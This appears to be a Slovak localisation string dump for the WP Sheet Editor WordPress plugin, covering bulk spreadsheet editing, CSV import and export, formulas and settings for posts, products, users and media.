                  Jedna tabuľka pre kategórie, značky, atribúty produktov, kategórie udalostí, kategórie portfólia, značky skutočného stavu atď. Zobrazte a upravte všetky položky na jednom mieste, skopírujte, prilepte, rýchlo nahrajte obrázky kategórií, pridajte popisy, upravte SEO atď.

                  Zmeňte veľkosť stĺpcov v tabuľke a uložte ju pre budúce relácie.

                  Hľadajte v tabuľke. Nájdite príspevky podľa kľúčového slova, stavu a autora.

                  Pozrite si kupóny WooCommerce v tabuľke. Upravte všetky polia kupónov, Rozšírené vyhľadávanie podľa ľubovoľného poľa, Automatické generovanie stoviek kupónov, Aktualizácia stoviek kupónov naraz a ďalšie.

                  Prezerajte si všetky produkty EDD v tabuľke, hromadne vytvárajte sťahovanie a súbory, upravujte stovky produktov naraz pomocou vzorcov, rozšírené vyhľadávanie pomocou viacerých polí atď.

                  Prezerajte si všetky udalosti v tabuľke, vytvárajte udalosti hromadne, upravujte stovky udalostí naraz pomocou vzorcov, rozšírené vyhľadávanie pomocou viacerých polí udalostí atď.

                  Zobrazte všetkých svojich zákazníkov v tabuľke. Zobrazenie celého profilu, rýchla úprava profilov, zobrazenie informácií o fakturácii a dodaní, rozšírené vyhľadávanie zákazníkov, export zákazníkov do Excelu alebo tabuliek Google, import zákazníkov z externých aplikácií

                  Zobrazte a rýchlo odošlite všetky objednávky. Rozšírené vyhľadávanie podľa ľubovoľného poľa (spôsob dopravy, dane, DPH, spôsoby platby, zákazníci, produkty atď.), Export objednávok a informácií o zákazníkoch vrátane zákazníkov; rýchlo upravte tisíce objednávok a ešte viac.

                  Zobrazte obrázok, videá a všetky súbory z knižnice WP Media v tabuľke. Upravte všetky polia súboru vrátane alternatívneho textu, titulkov obrázkov, popisov súborov, rozšíreného vyhľadávania podľa ľubovoľného poľa, automatického generovania alternatívneho textu, titulkov atď. pomocou nadradeného názvu príspevku alebo kategórií, aktualizujte tisíce súborov naraz atď.

                  Bunky môžete automaticky vyplniť (kopírovať) potiahnutím rohu bunky do iných buniek, ako to môžete urobiť v programe Excel.

                  Môžete vytvoriť stĺpce pre vlastné polia.
                  Upravte nastavenia stránky pridané vašou témou, podrobnosti o udalosti, informácie o produktoch atď.

                  Stĺpce tabuľky môžete premenovať.
                  Príklad. Namiesto zobrazovania „Autor príspevku“ v tabuľke ho môžete zmeniť na „Nahral“.

                  Stĺpce v tabuľke môžete zobraziť, skryť a zoradiť.

                  Úprava poľa: {column_label} . Položky na spracovanie: {total}, Priebeh: {progress_percentage} %%, aktualizovali sme {edited} položiek.

                  1- Pred spustením si zálohujte databázu, zmeny sa nedajú vrátiť späť.

                  2- Pred spustením sa uistite, že sú nastavenia hromadných úprav správne.

                  Dokončené

                  .

                  Bezplatné rozšírenia

                  Automatické ukladanie zlyhalo. Vaše zmeny neboli úplne uložené kvôli chybe. Môžete to skúsiť znova neskôr. Ak chyba pretrváva, kontaktujte náš tím podpory a nechajte túto kartu otvorenú

                  Hromadná úprava nebola použitá úplne. Proces bol zrušený z dôvodu chyby.

                  Toto okno môžete zavrieť.

                  Zmeny sa neuložili úplne. Proces bol zrušený z dôvodu chyby .

                  Toto kontextové okno môžete zavrieť.

                  Import sa skončil

                  Proces sa nedokončil. Proces bol zrušený z dôvodu chyby.

                  Toto okno môžete zavrieť.

                  Proces sa dokončil

                  Upravovať môžete len jednoduché produkty. Dostupné stĺpce: názov, webová adresa, popis, dátum, SKU, bežná cena, predajná cena, stav zásob, správa zásob, množstvo zásob.

                  Viac stĺpcov a typov produktov sú k dispozícii ako prémiové rozšírenie.

                  Zaslúžime si 5-hviezdičkovú recenziu? Áno, zaslúžiš si to . - . NieChýba stĺpec?Chýba stĺpec? Povoľte toChýba pole? Kliknite tuPrijať príspevok z tohto typu príspevkuAktivujte celú obrazovkuAktivujte túto možnosť, ak chcete odstrániť tlačidlá stránkovania a automaticky načítať riadky pri posúvaní nadol. Všetky riadky uvidíte naraz, bez problémov načítate tisíce riadkov.Aktívne filtre:Aktívne.Pridať novéPridajte do tabuľky nové stĺpcePridať novú tabuľkuPridajte názov pre túto skupinu stĺpcovPridajte výzvu na akciu alebo akýkoľvek text na začiatok alebo koniec svojich príspevkovPridať stĺpce pre vlastné poliaPridajte hodiny, dni, týždne, mesiace alebo roky k existujúcim dátumom.
                  Ak je existujúci dátum prázdny, použijeme ako základ aktuálny dátum.Pridať novéPridať nový stĺpecPridať nový typ príspevkuPridajte nové príspevkyPridajte tento kód na začiatok súboru .htaccess v koreňovom adresári vašej webovej lokality. Vyžaduje sa na overenie žiadostí medzi Tabuľkami Google a WordPressPridajte čas k existujúcim dátumomRola správcu môže všetko prezerať a upravovať.Rozšírené vlastné poliaPokročilé vyhľadávaniePokročilé nastaveniaPokročilý módPokročilé vyhľadávaniePokročilé nastaveniaVšetkyVšetky tabuľkyVšetky zmeny boli uložené.Všetky položky boli uložené.Všetky funkcie dostupné v backendovej tabuľke je možné použiť v frontendovej tabuľke.Všetky parametre sa použijú na vyhľadávanie variácií namiesto hlavných produktov.Všetky produkty na predajniVšetky variabilné produktyPovoliťPovoliť spätné objednávkyPovoliť viacero súborov na pole?Povoliť viacero príspevkov na pole?Povoliť úpravy pomocou vzorcov?Povoliť skrytie stĺpca?Povoliť skrytie tohto stĺpca na stránke nastavení?Povoliť import obrázkov zo serverov FTP?Povoliť premenovanie stĺpca na stránke nastavení?Povoliť premenovanie stĺpca?Umožnite svojim používateľom upravovať vlastné polia, pridávať nové stĺpce do editora, povoliť polia, deaktivovať základné polia a triediť polia. Frontend editor si môžete úplne prispôsobiť.Umožnite svojim klientom upravovať produkty WooCommerce pomocou tabuľky bez wp-adminUmožnite svojim predajcom na trhovisku hromadne upravovať svoje produktyUmožnite svojim predajcom na trhovisku importovať produkty na frontendeUmožnite svojim čitateľom odosielať blogové príspevky pomocou tabuľkyUmožnite kupujúcim vo vašom obchode stiahnuť katalógUmožnite zákazníkom vášho obchodu vykonávať pokročilé vyhľadávanie v katalóguUmožnite zamestnancom vášho obchodu spravovať zásoby a cenyUmožnite svojim návštevníkom zverejňovať udalostiPovoliť, ale upozorniť zákazníkaPovolené hodnotyAlternatívny textA viac.A počas úprav si pozrite ukážkyKtorákoľvek z týchto hodnôt (Zadajte viacero hodnôt oddelených ;)PripojiťAplikácia/SoftvérHromadne použite zmenyPoužiť nastaveniaAplikovať na:Naozaj chcete odstrániť typ príspevku? Vymažete aj príspevky v type príspevkuNaozaj chcete odstrániť tento stĺpec?Predvolený atribút %dAtribút %d globálnyNázov atribútu %dHodnoty atribútu %dAtribút %d je viditeľnýNázov atribútuHodnoty atribútovViditeľnosť atribútuAtribútyAtribúty sa zobrazujú ako rozbaľovacie ponuky na stránke produktu, kde si používateľ môže vybrať farby variácií, veľkosti a ľubovoľný atribút. Tu môžete definovať predvolené možnosti vybraté v rozbaľovacích ponukách.
                  Hodnoty oddeľte znakom %s
                  Funguje to len pre produkty s premenlivými hodnotami a musia mať variácie, inak sa predvolené atribúty neuložia.AutorRola autora môže prezerať a upravovať iba svoje príspevky, môže nahrávať obrázky.Automatické opakovanie neúspešných dávok?Automatické dopĺňanie buniekAutomatickyDostupné komponentyDostupné tabuľkyDostupné nástroje (voliteľné)Priemerné hodnotenieBackendPovolené spätné objednávky?Základné vyhľadávanieZakázať tieto stĺpceObjemHromadná úpravaFunkcia hromadnej aktualizácieHromadné akcieHromadná úprava stĺpcaHromadná úprava nebola vykonaná. Nenašli sa žiadne položky zodpovedajúce kritériám.KúpiťKúpiť balíkKúpte si rozšírenie teraz!V predvolenom nastavení WordPress zobrazuje čierny pruh v hornej časti stránky, keď prihlásený používateľ zobrazí frontendovú stránku. Lišta vám umožňuje prístup k wp-admin, odhlásenie, úpravu aktuálnej stránky atď. Ak povolíte túto možnosť, lištu skryjeme a na zobrazenie odkazu na odhlásenie môžete použiť krátky kód: [vg_display_logout_link].V predvolenom nastavení sa dátumy zobrazujú v kalendári, obsah príspevku má možnosť textového editora, obrázky zobrazujú ukážku atď. Túto možnosť môžete povoliť, aby sa všetko zobrazovalo ako obyčajný text a zakázať efektné formátovanie.V predvolenom nastavení automaticky zobrazujeme stĺpce pre všetky nové nájdené polia, takže vždy, keď zistíme nové polia, môžete ich vidieť a ihneď upraviť. Ak ste však povolili konkrétne stĺpce, môže to „narušiť“ triedenie podľa stĺpcov alebo vás to môže obťažovať. Ak chcete tieto stĺpce vygenerovať, povoľte túto možnosť, ale nechajte ich deaktivované, aby ste ich mohli povoliť neskôr.V predvolenom nastavení sa v niektorých stĺpcoch zobrazujú komentáre označujúce formát hodnoty alebo dôvod, prečo sú zamknuté. napríklad stĺpec kategórie zobrazuje tip označujúci oddelenie výrazov čiarkou a spôsob pridávania podradených kategórií, stĺpce variácií majú tip, ktorý uvádza, prečo sú uzamknuté pre nadradené produkty. Túto možnosť môžete aktivovať, aby ste tieto tipy zakázali.V predvolenom nastavení zobrazujeme ZÁKLADNÉ stavy: zverejnené, koncept, súkromné, naplánované, kôš. Niektoré doplnky však registrujú vlastné stavy: manažéri úloh, woocommerce. Povolením tejto možnosti zobrazíte všetky vlastné stavy v stĺpci „stav“. POZOR V rozbaľovacej ponuke zobrazíme všetky stavy zo všetkých typov príspevkov, pretože nie je možné poznať typ príspevku každého stavu, takže ich nemôžeme oddeliť. Urobte to, iba ak ste vývojár.Štandardne zobrazujeme kategórie ako názvy oddelené čiarkami. Aktivujte túto možnosť, ak chcete zobraziť a uložiť ID výrazov oddelené čiarkami.V predvolenom nastavení používame nekonečný zoznam riadkov a pri každom posúvaní nadol načítame ďalšie riadky. Túto možnosť môžete aktivovať, ak chcete zobraziť odkazy na stránkovanie a zakázať nekonečný zoznamV predvolenom nastavení používame nekonečný zoznam riadkov a pri každom posúvaní nadol načítame ďalšie riadky. Túto možnosť môžete aktivovať, ak chcete zobraziť odkazy na stránkovanie a zakázať nekonečný zoznam.V predvolenom nastavení skopírujeme všetky atribúty a všetky variácie a nahradíme existujúce variácie. Túto možnosť môžete aktivovať, aby ste skopírovali jednotlivé variácie a pridali ich k existujúcim variáciám v cieľovom produkte.V predvolenom nastavení umožňuje importér ukladať obrázky pomocou úplných interných adries URL, externých adries URL, názvu súboru (z knižnice médií) a ID súboru. Ak aktivujete túto možnosť, bude podporovať FTP adresy URL, ako je táto: ftp://user:password@host:port/path/to/image.png. Vďaka tomu bude import pomalšíV predvolenom nastavení exportujeme a importujeme jeden stĺpec s názvom „Obrázky“ spolu s odporúčaným obrázkom a obrázkami z galérie. Aktivujte túto možnosť, ak chcete exportovať a importovať jeden stĺpec s odporúčaným obrázkom a jeden stĺpec s obrázkami galérieV predvolenom nastavení zobrazujeme označenie v bunke namiesto nespracovanej hodnoty. Túto možnosť však môžete povoliť, aby sa v bunkách zobrazila nespracovaná hodnota.V predvolenom nastavení, keď exportujete stĺpec odporúčaného obrázka alebo stĺpce galérie, ku každej webovej adrese obrázka pridávame ID súboru, aby sme ich mohli neskôr importovať rýchlejšie. Túto možnosť môžete aktivovať, aby ste nepridali ID súboru a import bude neskôr fungovať dobre, ale nebude taký rýchlyV predvolenom nastavení sa import zastaví, keď produkt odkazuje na poškodené obrázky a vy musíte opraviť problém v súbore a spustiť nový import. Povoľte túto možnosť a my vám umožníme importovať produkty bez obrázkov, keď je adresa URL obrázka poškodenáDĹŽKA ZNAKU <DĹŽKA ZNAKU >OBSAHUJEStĺpec CSVPole CSVsúbor CSVCSV súbor z môjho počítačasúbor CSV z adresy URLCSV súbor na serveriUmiestnenie súboru CSVKalendárZrušiťZrušiť importZrušte zmeny a zatvorte kontextové oknoKaždé slovo v poli napíšte veľké prvé písmeno. T.j. previesť „môj titul“ na „Môj titul“.Slová s veľkými písmenamiPopisOpatrne. Zmeny sú nenávratné. Dôkladne skontrolujte priebeh.Meno kategórie...Typ bunkyZmeňte nastavenia atribútovZmeny boli uloženéZmeny boli úspešne uloženézačiarkavacie políčkoJasná hodnotaKliknutím sem znova zobrazíte všetky stĺpceZabránené kliknutiam
                  (odhad)ZavrieťFormát stĺpcaKľúč stĺpcaNázov stĺpcaStĺpec sa nenašiel. Skúste použiť iné kritériá vyhľadávania.Stĺpec bol odstránený. Prejdite na „nastavenia > skryť/zobraziť stĺpce“ a znova ju povoliťŠírka stĺpca (v pixeloch)Stĺpce sa nepodarilo uložiť. Skúste to znova.Limit stĺpcovZobrazeniaPremenovanie stĺpcovZmena veľkosti stĺpcovStĺpce boli úspešne obnovené. Ak chcete zobraziť obnovené stĺpce a povoliť ich, znova načítajte stránkuViditeľnosť stĺpcovViditeľnosť stĺpcov a vlastné polia (voliteľné)KomentáreTabuľka komentárov, recenzií a poznámok k objednávkeKontaktuj násObsahuje kľúčové slovoObsahďalejRola prispievateľa môže prezerať a upravovať iba svoje vlastné príspevky, ale nemôže nahrávať obrázky.Skopírujte a prilepte z inej tabuľky alebo tabuľkySkopírujte a prilepte do tabuľky nižšieSkopírujte súbory z tohto produktu: (Potom musíte zmeny uložiť.)Kopírovať z iných stĺpcovSkopírujte z tohto stĺpcaSkopírujte bežnú cenu a znížte o percentoSkopírujte bežnú cenu a znížte čísloDo tohto poľa skopírujte hodnotu ostatných polí.
                  Napríklad skopírujte „akciová cena“ do poľa „bežná cena“.Skopírujte variácie do týchto produktov.Skopírujte tento prístupový odkaz a prilepte ho do Tabuliek Google. Získajte odkaz na rýchly prístupKopírovať variácieSkopírujte variácie a atribúty z tohto produktu:Skopírujte variácie z tohto produktuVytvárajte a kopírujte variácie pre variabilné produkty.Vytvorte stĺpecVytvorte nové položky a aktualizujte existujúce položkyVytvorte tento počet variáciíVytvoriť variáciuVytvoriť variácie pre každú kombináciu atribútov?Cross-sellsAktuálna tabuľka: %sTabuľka vlastných databázových tabuliekVlastný atribút: %sVlastné stĺpceVlastný vzorecVlastné typy príspevkovPrispôsobte funkcieChýbajú údaje, skúste to znova neskôr.Dátový zdrojDátumRozsah dátumov odDniDeaktivujte všetko. Používajte iba REST APIDeaktivujte predbežné načítanie údajovDekódovať úvodzovky?Znížiť oZnížiť o čísloZnížiť o percentoZnížte existujúcu hodnotu o číslo.
                  Výsledok sa zaokrúhli na 2 najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85Znížte existujúcu hodnotu o percento.
                  Výsledok sa zaokrúhli na 2 najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85Od existujúcich dátumov odpočítajte počet hodín, dní, týždňov, mesiacov alebo rokov.
                  Ak je existujúci dátum prázdny, použijeme ako základ aktuálny dátum.Odpočítajte čas od existujúcich dátumovPredvolený atribútPredvolené atribútyOdstrániťVymazať všetkoÚplne vymazaťOdstrániť poleRýchlejšie odstraňovanie príspevkov: Počet príspevkov, ktoré sa majú odstrániť v jednej dávkeOdstrániť riadokOdstrániť priložené obrázky pri odstraňovaní príspevku?Odstráňte najnovšie položky a ponechajte najstaršiu položkuOdstráňte staré položky a ponechajte si najnovšiu položkuOdstrániť používateľské účty v celej sieti pri odstraňovaní používateľov v tabuľke?Demo videoPopisZakázať všetkoZakázať lenivé načítanie buniek?Zakázať stĺpec. Môžete to povoliť neskôr.Zakázať ponuky rozšírení?Zakázať akcie príspevkov pri ukladaní?Zakázať štatistiky inventára produktov?Zakázať podporu serializovaných stĺpcov?Zakázať pridávanie ID súboru do adries URL obrázkov?Zakázať automatické zisťovanie formátovania?Zakázať automatické načítanie riadkov?Zakázať režim celej obrazovky?Zakázať rozhranie API srdcového tepu v tabuľke?Zakázať nahradenie zlomov riadkov značkami p?Toto zakážte, ak používate doplnok vyrovnávacej pamäte objektov/databáz. V predvolenom nastavení to zakážeme, aby sa ukladanie zrýchlilo, keď upravujete veľa príspevkov, WordPress sa snaží „vyčistiť“ vyrovnávaciu pamäť, aj keď nepoužívate doplnok vyrovnávacej pamäte, čo robí stovky zbytočných databázových dotazov.Zakázať miniaplikáciu štatistík používania?ZakázanéZobraziť nespracovanú hodnotu vo vybratých bunkách?Zobraziť editor tabuliek na klientskom rozhraníZobrazte editor tabuliek v klientskom rozhraníZobraziť variácieNeumožňujúNekopírovať obrázky variácií?Chcete deaktivovať stĺpce pre nové nájdené polia?Chcete aktualizovať alebo vytvoriť položky?Stiahnuť %d URLStiahnuť %d menoStiahnite si súbor CSVStiahnite si URLVypršanie platnosti sťahovaniaStiahnite si súboryStiahnite si súbory: URLStiahnite si súbory: menáLimit sťahovaniaStiahnuť názovTyp sťahovaniaStiahnuteľnéK stiahnutiuPotiahnutím stĺpcov na ľavú alebo pravú stranu ich zapnete/vypnete, potiahnutím hore alebo dole zoradíte, kliknutím na tlačidlo „upraviť“ ich premenujete, kliknutím na tlačidlo „x“ ich úplne odstránite (iba keď boli predtým deaktivované).Rozbaľovacia ponuka s preddefinovanými možnosťamiDuplikovaťDuplikovať (nástroj)Duplikát z hlavného jazykaHromadné duplikovanie položiekHromadné duplikovanie položiek.Duplikovať riadokDuplikovať túto položku:POVOLIŤ STĹPCE. Tieto stĺpce vyžadujú opätovné načítanie stránky: {columns}. Chcete teraz znova načítať? Automaticky znova načítameKONČÍ SA STabuľka Easy Digital DownloadsUpraviťUpraviťUpraviť %sUpravte kupóny v tabuľke.
                  Upravte kódy kupónov, sumy, stav, obmedzenia a ďalšie. Urobte rozšírené vyhľadávanie. Tabuľka je synchronizovaná s vašou stránkou, nie je potrebné ju importovať/exportovať. Stiahnite si doplnokUpravte vlastné polia v tabuľkeUpravte príspevky a stránky v tabuľkeÚprava používateľských profilov v tabuľke – základnéÚprava používateľských profilov v tabuľke – ÚPLNÁUpravujte produkty WooCommerce, variácie a atribúty WooCommerce.
                  Upravujte stovky príspevkov naraz pomocou vzorcov, kopírujte informácie medzi príspevkami,
                  Upravujte vlastné typy príspevkov a vlastné polia, upravujte profily používateľov a ďalšieUpraviť WordPress %sUpraviť všetky riadky z môjho aktuálneho vyhľadávania (vrátane neviditeľných riadkov).Upravte atribútyUpravte kategórie, značky, atribúty v tabuľkeUpravte súboryUpraviť v Tabuľkách GoogleUpraviť v tabuľkeUpraviť meta kľúčUpraviť nastaveniaUpravte riadky, ktoré som vybral manuálne v tabuľke.Upraviť "%s"Úprava:Rola editora môže zobrazovať a upravovať všetky príspevky a stránky.ElementorEmailPovoliťPovoliť pokročilé filtrePovoliť všetkoPovoliť automatické ukladanie?Povoliť stĺpecPovoliť komentárePovoliť novú tabuľkuChcete povoliť možnosť obmedziť zobrazenia tabuľky na používateľa?Povoliť stránkovaniePovoliť recenziePovoliť jednoduchý režim?Povoľte rozhranie REST APIAk chcete prispôsobiť šírku stĺpca, formát (editor, nahrávanie súboru, taxonómie), povoľte rozšírený režim v spodnej časti stránky.Povoľte výber efektných výrazov taxonómiePovoľte opravu kódovania utf8Túto možnosť povoľte, ak chcete skopírovať všetky údaje variácie okrem obrázka variácie.PovolenéPovolenie tohto stĺpca vyžaduje opätovné načítanie stránkyZadajte %sZadajte ID oddelené čiarkami, medzerami, novými riadkami alebo tabulátormi. Ako skratku môžete použiť rozsahy ID ako 20-50.Zadajte formát dátumu. Zoznam formátov . Príklad: YmdZadajte kľúčové slovoZadajte kľúčové slovo na vylúčenie príspevkov, viaceré kľúčové slová oddeľte bodkočiarkou (;)Zadajte meno...Zadajte číslo a tieto stĺpce budú pri vodorovnom posúvaní zmrazené. Kliknutím pravým tlačidlom myši na ľubovoľný stĺpec ho zmrazíte alebo rozmrazíte. Napríklad zadaním 2 zmrazíte prvé 2 stĺpceZadajte hľadaný výraz...Zadajte názovZadajte slovo a nájdeme prvý zodpovedajúci stĺpec. Vyhnete sa rolovaniu v desiatkach stĺpcov, aby ste našli ten, ktorý potrebujete.Zadajte každú možnosť na nový riadok. Pre väčšiu kontrolu môžete zadať hodnotu aj označenie takto:
                  červená : červenáZadajte názov položky...Zadajte viacero SKU alebo ID oddelených čiarkamiZadajte viacero adries URL oddelených čiarkamiZadajte viacero atribútov oddelených znakom |Zadajte viacero kódov jazykov oddelených čiarkami a vytvoríme kópie hlavného jazyka. Napríklad: en, es. Existujúce jazyky budú preskočené.Zadajte viacero názvov príspevkov oddelených čiarkamiZadajte viacero výrazov oddelených čiarkamiZadajte jednu adresu URL na riadokZadajte adresu URL. Môže to byť adresa URL z vašej vlastnej stránky (príklad http://site.com/wp-content/uploads/2016/01/file.jpg) alebo externá adresa URL.Zadajte adresu URL. Musí to byť adresa URL z vašej vlastnej stránky. Príklad: http://site.com/wp-content/uploads/2016/01/file.jpgZadajte adresy URL oddelené čiarkami. Môžu byť z vašej vlastnej stránky.Zadajte adresy URL oddelené čiarkami. Musia byť z vašej vlastnej stránky.Zadajte názov stĺpca (čokoľvek chcete) a z rozbaľovacej ponuky vyberte kľúč poľa. Ak ho nenájdete, môžete ho zadať do rozbaľovacej ponuky. Zobraziť príručkuZadajte celú hierarchiu ako rodič > dieťaZadajte zoznam kľúčov polí oddelených čiarkami, môžete zadať úplný meta kľúč poľa alebo čiastočné kľúčové slová alebo predpony. Je to užitočné, pretože niektoré doplnky pridávajú do databázy tisíce nepotrebných polí a zahlcujú tabuľkuZadajte menáZadajte nové výrazy oddelené %s . Môžete pridať hierarchiu ako rodič > dieťa > dieťaZadajte číslo.Zadajte percentuálne číslo.Zadajte hodnotu, ktorá sa má pripojiť k existujúcej hodnote.Zadajte hodnotu, ktorá sa má pridať pred existujúcu hodnotu.Chyba 8391. Na zobrazenie tejto stránky nemáte dostatočné povolenia.Chyba v ID riadku: %d – %sChyba. Matematický nástroj nemohol vykonať matematickú operáciu: %s, ID: %dChyba: %sChyba: Nová hodnota je prázdna alebo sa rovná starej hodnoteAtď.Tabuľka udalostíVšetko je už uložené.Všetko, čo potrebujete pre všetky typy príspevkov a produktyVšetko, čo potrebujete pre používateľov a zákazníkovPríklad 1: $current_value$ + 2 * 5.
                  Príklad 2: $_regular_price$ * 0,7 (Nastaviť bežnú cenu – 30 %)Príklad:ÚryvokVykonaťVykonať terazAutomaticky spustiť vzorec pri budúcich príspevkoch (len pre pokročilých používateľov)Spustiť iba na budúcich príspevkochVÝCHODUkončiť celú obrazovkuExportExport stĺpecRýchlejší export riadkov: Počet riadkov na export na dávkuExportovať do CSVRozšírte tabuľkuRozšíreniaObrázky FTP: Preskočiť obrázky s rovnakým názvom súboru?Ilustračný obrázokIlustračný obrázokLúkaPole 2: Pole CSVPole 2: Pole WordPressPole na aktualizáciu:súbor (adresa URL alebo cesta)ID súboruURL súboruURL súboruSúbor sa nepodarilo nahrať. Začnite proces znova.Nahranie súboruNahranie súboru (viacero)Nahranie súboru (jeden)Súbor bol úspešne nahraný, ale nie je to platný súbor CSV alebo používa nesprávne kódovanie. Ak ste súbor upravili v Exceli, overte, či bol uložený ako UTF-8, a majte na pamäti, že pri vložení kopírovania z externých miest sa niekedy objavia neplatné znaky. Uistite sa teda, že ste prilepili iba hodnoty a neprilepili formátovanie, aby ste predišli prilepeniu neplatných znakov.Súbory boli uložené.Filtrovať zoznam položiekPosledný krokNájsť tieto ID:Nájsť tieto adresy URL:Opravených viac ako 13 chýbAk ste napríklad pomocou vyhľadávacieho nástroja hľadali príspevky podľa "autor = Mark", exportujeme iba príspevky s "autor Mark"Ak ste napríklad pomocou vyhľadávacieho nástroja hľadali príspevky podľa autora = Označiť, aktualizujeme iba príspevky s autorom MarkomAk napríklad vyberiete typ príspevku „produkt“, akceptujeme iba názvy produktov.Napríklad pri úplnom odstraňovaní príspevku (nepresúvaní do koša) odstráňte odporúčaný obrázok a obrázky galérie produktov z knižnice médií. POZOR. Ak použijete rovnaké obrázky na viacerých príspevkoch, obrázky na iných príspevkoch sa pokaziaRežim formátovanej bunky: Vykresliť ako: (Použite, iba ak je typ bunky prázdny)Parametre vzorca:Typ vzorca:VzorceZmraziť prvé stĺpce na ľavej strane?Frontend SheetFrontendové tabuľkyÚplná adresa URLPlný obsahRežim celej obrazovky je aktívnyGalériaVšeobecné nastaveniaVytvorte úryvokVygenerovaný vzorec:Získajte okamžitú pomoc v živom chate + e-mailovú podporu počas pracovnej dobyZískajte %d rozšírenia nižšie len za $ %s $ %sPrejsť na PremiumVráť saÍsť na stránkuSpäť na vrchTabuľky GoogleNávody a návodyVýškaPomocTu je vzorový CSV obsahujúci všetky typy produktov.Tu môžete ovládať veľkosť dávky pre exporty. Ak použijete vysoké číslo, exporty sa dokončia rýchlejšie. Vysoké číslo môžete použiť bezpečne, pretože ak je server počas jedného exportu preťažený, automaticky sa vrátime k nižšiemu číslu. Napríklad exportujte 100 riadkov na dávku a dokončite exporty super rýchlo a ak zistíme pomalosť v jednom exporte, automaticky reštartujeme export s 10 riadkami na dávkuTu si môžete prezrieť všetky vzorce uložené pre prebiehajúce vykonávanie. Tieto vzorce sa vykonajú na príspevkoch zodpovedajúcich filtrom, keď sa vytvoria alebo aktualizujú v tabuľke.Skryť / Zobraziť / Zoradiť stĺpceSkryť panel správcu na frontendeSkryť stĺpecHodinyAko nájdeme existujúce položky na aktualizáciu?Ako chcete uložiť viacero súborov?Ako chcete uložiť viacero príspevkov?Ako sa súbor uloží do databázy?Ako sa príspevok uloží do databázy?Ako je používateľ uložený v databáze?Ako dlho chcete medzi dávkami čakať? (v sekundách)Koľko kópií chcete?Nechcem kopírovať všetky variácieMám zálohu databázy, Execute NowChápem, že sa exportujú všetky riadky z môjho aktuálneho vyhľadávania.Rozumiem, že aktualizuje produkty z môjho vyhľadávania.Rozumiem, pokračujChcem prehľadávať riadky a aktualizovať a upravovať všetky výsledky vyhľadávaniaIDAk má stĺpec veľmi dlhý text, odstránime html a skrátime ho na počet slov.Ak aktivujete túto možnosť, deaktivujeme všetky tabuľky, stránky nastavení a celý doplnok sa pre používateľa stane neviditeľným. Aktívne zostane iba rozhranie REST API. Je to užitočné pre pokročilé scenáre, keď používate naše REST API iba na synchronizáciu webových stránok s externými tabuľkami alebo systémami. Keď je táto možnosť aktívna, naša stránka nastavení sa presunie do ponuky všeobecných nastavení, pretože naša ponuka editora hárkov bude odstránenáAk túto možnosť zakážete, tento stĺpec sa bude upravovať iba manuálne.Ak povolíte túto možnosť, niektoré stĺpce sa zobrazia ako text. Normálne rozpoznávame dátumové polia, obrazové polia.Ak povolíte túto možnosť, miniaplikácia štatistík používania zobrazená na paneli wp-admin bude odstránená.Ak povolíte túto možnosť, pridáme do používateľských profilov polia, kde môžete určiť, ktoré zobrazenia tabuliek môžu používať, môžu používať všetky zobrazenia tabuliek, ak je táto možnosť deaktivovaná.Ak povolíte túto možnosť, zjednodušíme možnosti tabuľky a odstránime rozšírené príklady, tipy a možnosti, ktoré sa zriedka používajú vo vyhľadávacom nástroji, nástroji na hromadné úpravy, nástroji na import, nástroji na export a na iných miestach.Ak označíte túto možnosť , pri vytváraní alebo aktualizácii príspevku v tabuľke skontrolujeme, či sa príspevok zhoduje s parametrami vzorca a automaticky spustíme vzorec v tomto príspevku. Napríklad. Keď vytvoríte produkt s kategóriou jablká, môžeme popis nastaviť automaticky, alebo keď zmeníte SKU, môžeme automaticky aktualizovať adresy URL súborov na stiahnutie.Ak zastavíte import s cieľom upraviť súbor CSV alebo zmeniť rýchlosť importu, môžete spustiť nový import a pokračovať tam, kde ste prestali.Ignorujte tento stĺpecPredstavte si, že by ste všetky tieto zmeny mohli urobiť na stovkách alebo tisíckach príspevkov naraz za pár minút. Funkcia vzorcov je k dispozícii ako prémiové rozšírenie.ImportImportovať všetky riadky ako novéImportujte všetky stĺpceImportovať ako metaúdajeImportovať súbor csvDôležité. V súbore CSV sme zistili iba jeden stĺpec. Ak je to nesprávne, opravte to podľa týchto krokovImportuje saVylepšených 7 funkciíVylepšený hárok: Nastavenia boli presunuté do rozbaľovacej ponuky na zjednodušenie používateľského rozhrania a pridané nové možnosti kontextovej ponukyVylepšené nástroje: viditeľnosť stĺpcov. Teraz môžete odstrániť nepotrebné stĺpce a zlepšiť triedenie a zakázať logikuVylepšené nástroje: vzorec vzorcov. Teraz môžete vykonávať rozšírené vyhľadávania a aplikovať vzorce na výsledky vyhľadávania. Iba platení používatelia . Upgrade )V Tabuľkách Google > horný panel s nástrojmi. Otvorte možnosť "WordPress".Na tejto stránke môžete rýchlo nastaviť editor tabuliek. Toto všetko potrebujete na používanie editora. Nastavenia na ostatných kartách sú úplne voliteľné a umožňujú vám okrem iného vyladiť výkon editora.Zvýšte produktivituZvýšiť oZvýšte o čísloZvýšte o percentoZvýšiť alebo znížiť ceny produktovZvýšte alebo znížte zásoby produktovZvýšte počet riadkov na stránkuZvýšte existujúcu hodnotu o číslo.
                  Výsledok sa zaokrúhli na 2 najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85Zvýšte existujúcu hodnotu o percento.
                  Výsledok sa zaokrúhli na 2 najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85Počiatočné riadky sú posunutéVložiť do položkyInštalovať zadarmoNainštalujte chrome rozšírenie "WP Sheet Editor". InštaláciaNeplatné #898AJSI. Nahradenie vyžaduje 2 parametre, jeden sme dostaliNeplatné #8W23CV. Akceptujeme iba vzorce MATH a REPLACE, dostali sme neznámy typ vzorca.Neplatné #8W89PQ. Matematický vzorec je prázdny.Neplatné #PQ8SPQ. Matematický vzorec obsahuje čiarku: %sNeplatná časová jednotka.Dá sa stiahnuťJe virtuálnyJe viditeľný?Je to globálny atribút?Je predstavený?Je len na čítanie?Je viditeľný?Vyhľadáva v názve príspevku a obsahu príspevku.
